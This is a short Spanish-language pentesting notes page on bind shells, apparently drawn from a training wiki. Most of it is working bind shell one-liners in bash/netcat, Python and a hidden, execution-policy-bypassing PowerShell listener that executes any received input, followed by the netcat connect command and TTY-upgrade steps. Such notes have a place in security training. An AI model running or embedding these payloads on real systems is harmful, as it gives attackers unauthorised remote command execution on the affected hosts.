Bind Shell

Otro tipo de shell es un Bind Shell. A diferencia de un Reverse Shell, que se conecta a nosotros, tendremos que conectarnos a él en el targetspuerto de escucha.

Una vez que ejecutamos un comando Bind Shell Command, este comenzará a escuchar en un puerto del host remoto y vinculará el shell de ese host (es decir, Basho PowerShell) a ese puerto. Debemos conectarnos a ese puerto con netcat, y obtendremos el control a través de un shell en ese sistema.

Comandos de Bind Shell:

Una vez más, podemos utilizar Payload All The Things para encontrar un comando apropiado para iniciar nuestro shell de enlace.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp <port> >/tmp/f
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",<port>));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]<port>; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

Conexión con Netcat:

Una vez que ejecutemos el comando "bind shell", deberíamos tener un shell esperándonos en el puerto especificado. Ahora podemos conectarnos.

Podemos usar netcatpara conectarnos a ese puerto y obtener una conexión al shell:

nc <ip> <port>

Tratamiento de la TTY:

Bash

script /dev/null -c bash
Crl + Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=bash

Python:

python -c 'import pty; pty.spawn("/bin/bash")'

Last updated